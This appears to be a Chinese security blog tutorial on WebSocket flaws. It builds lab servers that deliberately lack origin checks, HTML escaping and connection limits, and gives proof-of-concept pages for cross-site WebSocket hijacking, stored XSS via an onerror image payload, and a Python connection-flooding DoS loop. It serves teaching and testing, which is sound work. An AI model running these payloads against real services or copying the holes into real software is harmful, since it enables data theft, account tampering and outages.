0x01 WebSocket基础

参考之前的文章:CSWSH漏洞总结

0x02 WebSocket安全

整体而言,WebSocket安全问题如下:

  • 跨站点WebSocket劫持漏洞
  • XSS
  • DoS
  • 信息泄露(指使用ws:而非使用wss:进行加密传输)

这里只针对前三种进行说明。

0x03 跨站点WebSocket劫持漏洞

跨站点WebSocket劫持漏洞即CSWSH漏洞,具体原理可参考之前的博客:CSWSH漏洞总结

这里在之前的基础上,自己写了个漏洞靶场。

server.js,WebSocket服务端,支持查询用户信息、设置用户名、获取用户名等操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
var info = {
"username": "admin",
"phone": "13666666666",
"address": "China"
};

var WebSocketServer = require('ws').Server,
wss = new WebSocketServer({ port: 8181 });
wss.on('connection', function (ws) {
console.log('[*]Client connected!');
ws.on('message', function (message) {
if (typeof message == 'string') {
console.log("[*]Recieve: " + message);
try {
var obj = JSON.parse(message);
if(typeof obj == 'object' && obj){
var opt = obj["option"];
if (opt === "get-info") {
console.log("[*]send: " + JSON.stringify(info));
ws.send(JSON.stringify(info));
} else if (opt === "set-username") {
info["username"] = obj["username"];
console.log("[*]set username: " + info["username"]);
console.log(info["username"]);
ws.send("Set username successfully.");
} else if (opt === "whoami") {
console.log("[*]get username: " + info["username"]);
console.log(info["username"]);
ws.send(info["username"]);
} else {
ws.send("OK");
}
}else{
console.log('[-]Not a JSON type message.');
}
} catch(e) {
console.log('[-]Error: ' + message + '! ' + e);
}
}
});
});

client.html,WebSocket客户端,用于获取当前用户名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>WebSocket Client</title>
<script type="text/javascript">
function getUsername()
{
if ("WebSocket" in window)
{
var ws = new WebSocket("ws://192.168.43.28:8181");

ws.onopen = function()
{
ws.send(JSON.stringify({"option":"whoami"}));
};

ws.onmessage = function (evt)
{
var username = evt.data;
alert(username);
};
} else {
alert("您的浏览器不支持 WebSocket!");
}
}
</script>
</head>
<body>
<button onclick=getUsername()>查询用户名</button>
</body>
</html>

运行服务端,然后客户端跨域连接即可查询到用户名:

基于此,编写漏洞利用页面poc.html,结合前面的服务端接口功能,可以实现类似于CSRF攻击手段来篡改用户名、窃取用户敏感信息等:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<!DOCTYPE html>
<meta charset="utf-8" />
<title>WebSocket PoC</title>
<script language="javascript" type="text/javascript">

var wsUri = "ws://192.168.43.28:8181";
var output;

function init()
{
output = document.getElementById("output");
testWebSocket();
}

function testWebSocket()
{
websocket = new WebSocket(wsUri);
websocket.onopen = function(evt) { onOpen(evt) };
websocket.onclose = function(evt) { onClose(evt) };
websocket.onmessage = function(evt) { onMessage(evt) };
websocket.onerror = function(evt) { onError(evt) };
}

function onOpen(evt)
{
writeToScreen("CONNECTED");
//doSend('{"option":"whoami"}');
//doSend('{"option":"get-info"}');
doSend('{"option":"set-username", "username":"mi1k7ea"}');
}

function onClose(evt)
{
writeToScreen("DISCONNECTED");
}

function onMessage(evt)
{
writeToScreen('<span style="color: blue;">RESPONSE: ' + evt.data+'</span>');
websocket.close();
}

function onError(evt)
{
writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data);
}

function doSend(message)
{
writeToScreen("SENT: " + message);
websocket.send(message);
}

function writeToScreen(message)
{
var pre = document.createElement("p");
pre.style.wordWrap = "break-word";
pre.innerHTML = message;
output.appendChild(pre);
}

window.addEventListener("load", init, false);
</script>
<h2>WebSocket PoC</h2>
<div id="output"></div>

攻击窃取用户敏感信息:

修改用户配置,然后正常用户查询的时候发现内容被修改了:

0x04 XSS

很多站点是使用WebSocket来实现在线实时聊天功能的,这其中就可能存在聊天室XSS漏洞。当然,其他应用WebSocket的场景可自行研究是否存在类似的问题。

直接用网上的聊天室Demo改的靶场。

server.js,聊天室WebSocket服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
var WebSocket = require('ws');
var WebSocketServer = WebSocket.Server,
wss = new WebSocketServer({ port: 8181 });
var uuid = require('node-uuid');
var clients = [];
function wsSend(type, client_uuid, nickname, message) {
for (var i = 0; i < clients.length; i++) {
var clientSocket = clients[i].ws;
if (clientSocket.readyState === WebSocket.OPEN) {
clientSocket.send(JSON.stringify({
"type": type,
"id": client_uuid,
"nickname": nickname,
"message": message
}));
}
}
}
var clientIndex = 1;
wss.on('connection', function(ws) {
var client_uuid = uuid.v4();
var nickname = "AnonymousUser" + clientIndex;
clientIndex += 1;
clients.push({ "id": client_uuid, "ws": ws, "nickname": nickname });
console.log('client [%s] connected', client_uuid);
var connect_message = nickname + " has connected";
wsSend("notification", client_uuid, nickname, connect_message);
console.log('client [%s] connected', client_uuid);
ws.on('message', function(message) {
if (message.indexOf('/nick') === 0) {
var nickname_array = message.split(' ');
if (nickname_array.length >= 2) {
var old_nickname = nickname;
nickname = nickname_array[1];
var nickname_message = "Client " + old_nickname + " changed to " + nickname;
wsSend("nick_update", client_uuid, nickname, nickname_message);
}
} else {
wsSend("message", client_uuid, nickname, message);
}
});
var closeSocket = function(customMessage) {
for (var i = 0; i < clients.length; i++) {
if (clients[i].id == client_uuid) {
var disconnect_message;
if (customMessage) {
disconnect_message = customMessage;
} else {
disconnect_message = nickname + " has disconnected";
}
wsSend("notification", client_uuid, nickname, disconnect_message);
clients.splice(i, 1);
}
}
};
ws.on('close', function () {
closeSocket();
});
process.on('SIGINT', function () {
console.log("Closing things");
closeSocket('Server has disconnected');
process.exit();
});
});

client.html,聊天室WebSocket客户端,:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WebSocket Echo Demo</title>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<link href="../bootstrap-3.3.5/css/bootstrap.min.css" rel="stylesheet" />
<script src="../js/jquery-1.12.3.min.js"></script>
<script src="../js/jquery-1.12.3.min.js"></script>
<script src="../bootstrap-3.3.5/js/bootstrap.min.js"></script>
<script>
//建立连接
var ws = new WebSocket("ws://192.168.43.28:8181");
var nickname = "";
ws.onopen = function (e) {
console.log('Connection to server opened');
}
//显示
function appendLog(type, nickname, message) {
if (typeof message == "undefined") return;
var messages = document.getElementById('messages');
var messageElem = document.createElement("li");
var preface_label;
if (type === 'notification') {
preface_label = "<span class=\"label label-info\">*</span>";
} else if (type == 'nick_update') {
preface_label = "<span class=\"label label-warning\">*</span>";
} else {
preface_label = "<span class=\"label label-success\">"
+ nickname + "</span>";
}
var message_text = "<h2>" + preface_label + "&nbsp;&nbsp;"
+ message + "</h2>";
messageElem.innerHTML = message_text;
messages.appendChild(messageElem);
}
//收到消息处理
ws.onmessage = function (e) {
var data = JSON.parse(e.data);
nickname = data.nickname;
appendLog(data.type, data.nickname, data.message);
console.log("ID: [%s] = %s", data.id, data.message);
}
ws.onclose = function (e) {
appendLog("Connection closed");
console.log("Connection closed");
}
//发送消息
function sendMessage() {
var messageField = document.getElementById('message');
if (ws.readyState === WebSocket.OPEN) {
ws.send(messageField.value);
}
messageField.value = '';
messageField.focus();
}
//修改名称
function changName() {
var name = $("#name").val();
if (ws.readyState === WebSocket.OPEN) {
ws.send("/nick " + name);
}
}

function disconnect() {
ws.close();
}
</script>
</head>

<body >
<div class="vertical-center">
<div class="container">
<ul id="messages" class="list-unstyled"></ul>
<hr/>
<form role="form" id="chat_form" onsubmit="sendMessage(); return false;">
<div class="form-group">
<input class="form-control" type="text" id="message" name="message"
placeholder="Type text to echo in here" value="" autofocus/>
</div>
<button type="button" id="send" class="btn btn-primary"
onclick="sendMessage();">
Send Message
</button>

</form>
<div class="form-group"><span>nikename:</span><input id="name" type="text" /> <button class="btn btn-sm btn-info" onclick="changName();">change</button></div>
</div>
</div>
</body>
</html>

正常的聊天室交流使用:

漏洞利用页面poc.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<!DOCTYPE html>
<meta charset="utf-8" />
<title>WebSocket PoC</title>
<script language="javascript" type="text/javascript">

var wsUri = "ws://192.168.43.28:8181";
var output;

function init()
{
output = document.getElementById("output");
testWebSocket();
}

function testWebSocket()
{
websocket = new WebSocket(wsUri);
websocket.onopen = function(evt) { onOpen(evt) };
websocket.onclose = function(evt) { onClose(evt) };
websocket.onmessage = function(evt) { onMessage(evt) };
websocket.onerror = function(evt) { onError(evt) };
}

function onOpen(evt)
{
writeToScreen("CONNECTED");
doSend('<img src=x onerror=alert(document.domain)>');
}

function onClose(evt)
{
writeToScreen("DISCONNECTED");
}

function onMessage(evt)
{
writeToScreen('<span style="color: blue;">RESPONSE: ' + evt.data+'</span>');
websocket.close();
}

function onError(evt)
{
writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data);
}

function doSend(message)
{
writeToScreen("SENT: " + message);
websocket.send(message);
}

function writeToScreen(message)
{
var pre = document.createElement("p");
pre.style.wordWrap = "break-word";
pre.innerHTML = message;
output.appendChild(pre);
}

window.addEventListener("load", init, false);
</script>
<h2>WebSocket PoC</h2>
<div id="output"></div>

用户被诱导访问后,将造成聊天室存储型XSS攻击:

0x05 DoS

WebSocket服务端的连接如果并未限制连接数,可能会导致DoS风险。

看个自己写的简单的靶场。

server.js,WebSocket服务端,很简单,直接连接并接受消息,但未限制连接数:

1
2
3
4
5
6
7
8
var WebSocketServer = require('ws').Server,
wss = new WebSocketServer({ port: 8181 });
wss.on('connection', function (ws) {
console.log('[*]Client connected!');
ws.on('message', function (message) {
console.log(message);
});
});

client.html,WebSocket客户端,建立WebSocket连接并发送消息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WebSocket Echo Demo</title>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<link href="../bootstrap-3.3.5/css/bootstrap.min.css" rel="stylesheet" />
<script src="../js/jquery-1.12.3.min.js"></script>
<script src="../js/jquery-1.12.3.min.js"></script>
<script src="../bootstrap-3.3.5/js/bootstrap.min.js"></script>
<script>
var ws = new WebSocket("ws://192.168.43.28:8181");
ws.onopen = function (e) {
console.log('Connection to server opened');
}
function sendMessage() {
ws.send($('#message').val());
}
</script>
</head>

<body >
<div class="vertical-center">
<div class="container">
<p>&nbsp;</p>
<form role="form" id="chat_form" onsubmit="sendMessage(); return false;">
<div class="form-group">
<input class="form-control" type="text" name="message" id="message"
placeholder="Type text to echo in here" value="" />
</div>
<button type="button" id="send" class="btn btn-primary"
onclick="sendMessage();">
Send!
</button>
</form>
</div>
</div>
</body>
</html>

正常使用很简单,就是和WebSocket服务端建立连接并发送消息:

编写利用poc,就是使用Python的三方库ws4py实现循环建立WebSocket连接进行DoS攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import json
from ws4py.client.threadedclient import WebSocketClient


class CG_Client(WebSocketClient):

def opened(self):
req = 'mi1k7ea'
self.send(req)

def closed(self, code, reason=None):
print("Closed down:", code, reason)

def received_message(self, resp):
resp = json.loads(str(resp))
data = resp['data']
if type(data) is dict:
ask = data['asks'][0]
print('Ask:', ask)
bid = data['bids'][0]
print('Bid:', bid)


if __name__ == '__main__':
while 1:
ws = CG_Client('ws://192.168.43.28:8181')
ws.connect()

攻击效果: